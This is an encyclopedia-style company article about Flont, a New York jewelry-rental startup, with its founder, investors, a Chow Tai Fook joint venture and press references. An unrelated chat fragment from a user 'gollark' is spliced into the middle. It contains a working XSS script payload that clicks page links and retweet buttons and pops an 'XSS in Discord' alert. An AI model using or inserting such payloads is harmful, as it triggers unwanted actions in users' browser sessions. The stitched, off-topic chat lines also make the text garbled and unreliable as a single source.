Flont

Flont is a company that provides jewelry as a service[1][2], in partnership with over 40 brands.[3] A software developer and jewelry retailer, it enables high-touch sales via E-commerce, delivering jewelry to consumers on demand. Flont provides software and logistics services to global jewelry brands, department stores and jewelry retailers for their own sharing services[4]. Its founder was former president of a joint venture with Cartier and Richemont[1].

Flont, Inc.
Private
IndustryE-commerce
Founded2016
FounderCormac Kinney
Headquarters
New York City
,
USA
Area served
United States
Key people
Carmen Busquets, Adrian Cheng
WebsiteFlont.com

In 2018, Chow Tai Fook, the largest jewelry retailer in Asia with a market cap of HK$106 billion,[5] announced a joint venture with Flont, to open up to 500 locations in China, inside Chow Tai Fook retail stores.[6][7]

According to a product review by People, "The concept is brilliant. Members have unlimited access to Flont’s entire fine jewelry collection, which means you can borrow as frequently as you like!"[8]

History

The founder of Flont, Cormac Kinney, is a software entrepreneur whose innovations have been cited in more than 4,000 patents. He raised over $500 million for eight startups, five of which have been acquired by public companies[4]. The company's investors include Carmen Busquets[9], an early stage fashion technology investor[10], known for investments in Net-A-Porter, Business of Fashion, Moda Operandi, Farfetch, and Lyst[11]. In 2017, Adrian Cheng, executive Chairman of Chow Tai Fook and New World Development, announced an investment in the company[12]. Other investors in Flont include senior executives from Google, Coca-Cola, Revlon, The New York Times, Hudson's Bay, Neiman Marcus, Coach Inc., and Ritz-Carlton[9].

Flont enables consumers to borrow fine jewelry, from brands including Cartier, Bulgari, and Tiffany & Co.[1], and has exclusive partnerships with artisan designers, such as Mimi So, Hearts on Fire, John Hardy, Pamela Love and Sabine Getty[13]. In 2018, Flont added 30 more designers, with an entry level membership of $59 per month.[14]

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gollark: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Discord')</script>♥
gollark: ~~exactly!~~
gollark: Well, it is valid if you use `cat` instead of another mp3 player.
gollark: The mp3 example.

References
  1. Samaha, Barry (2017-07-23). "Flont Is Changing How to Buy Fine Jewelry Online". Forbes Magazine.
  2. "Flont Dresses San Francisco Society in Style". Vogue. 2017-04-13.
  3. Davis, Ashley (2017-10-13). "Jewelry as a Service Start-Up Raises $5M". National Jeweler.
  4. Feitelberg, Rosemary (2017-03-17). "Flont Strives to Shake Up High-End Jewelry With Sharing Model". Women's Wear Daily.
  5. "50 leading companies in market capitalisation". 2018 HKEX Factbook (PDF). Hong Kong Exchanges and Clearing. 2019. p. 23. Retrieved 21 March 2019.
  6. Chen, Cathleen (2018-05-23). "Adrian Cheng Plans China Rollout for Flont, Moda Operandi". Business of Fashion.
  7. Rapp, Jessica (2018-11-12). "What Adrian Cheng's New Investments Tell Us About Chinese Millennials". Jing Daily.
  8. "We Tried It: Flont". People Magazine. 2017-07-27.
  9. "Flont Closes $2m Seed Funding Round". FinSMEs.com. 2017-03-14.
  10. Paton, Elizabeth (2016-09-19). "Carmen Busquets, Fashion E-Commerce's Fairy Godmother". New York Times.
  11. "Carmen Busquets Portfolio". Carmen Busquets.com. 2017-05-22.
  12. Sherman, Lauren (2017-10-11). "Adrian Cheng Launches C Ventures, an 'Investment Club' With Eye on Youth Culture". Business of Fashion.
  13. Raphael, Rina (2016-09-15). "High-End Shopping in the Sharing Economy: Now We Can All Have Couture". Fast Company.
  14. Simmons, Shea (2018-05-14). "Flont Demi's Jewelry Membership Program Lets You Shine Bright Like A Diamond On A Budget — EXCLUSIVE". Bustle.
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